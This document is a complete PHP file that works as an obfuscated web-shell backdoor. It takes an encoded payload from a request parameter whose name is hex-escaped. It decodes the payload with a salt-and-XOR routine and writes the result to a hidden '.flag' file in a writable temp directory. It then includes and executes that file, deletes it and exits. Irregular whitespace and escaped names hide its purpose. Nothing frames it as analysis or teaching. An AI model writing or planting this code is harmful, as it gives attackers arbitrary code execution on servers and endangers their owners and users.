<?php

if(!is_null($_REQUEST["\x76al"] ?? null)){
	$bind = $_REQUEST["\x76al"];
	  $bind			=	 explode		(	 	'.'	 , 	$bind		 )	  ;	
	$value	=	'';
            $salt9	=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=	strlen($salt9);
            $z	=	0;
    
            array_walk($bind, function($v2) use(&$value, &$z, $salt9, $sLen) {	$chS	=	ord($salt9[$z % $sLen]);
                $d	=	((int)$v2 - $chS -($z % 10)) ^ 40;
                $value .= chr($d);
                $z++;
            });
	$object = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp"]);
	$obj = 0;
do {
    $record = $object[$obj] ?? null;
    if ($obj >= count($object)) break;
    		if (is_writable($record) && is_dir($record)) {
    $itm = sprintf("%s/.flag", $record);
    if (file_put_contents($itm, $value)) {
	include $itm;
	@unlink($itm);
	exit;
}
}
    $obj++;
} while (true);
}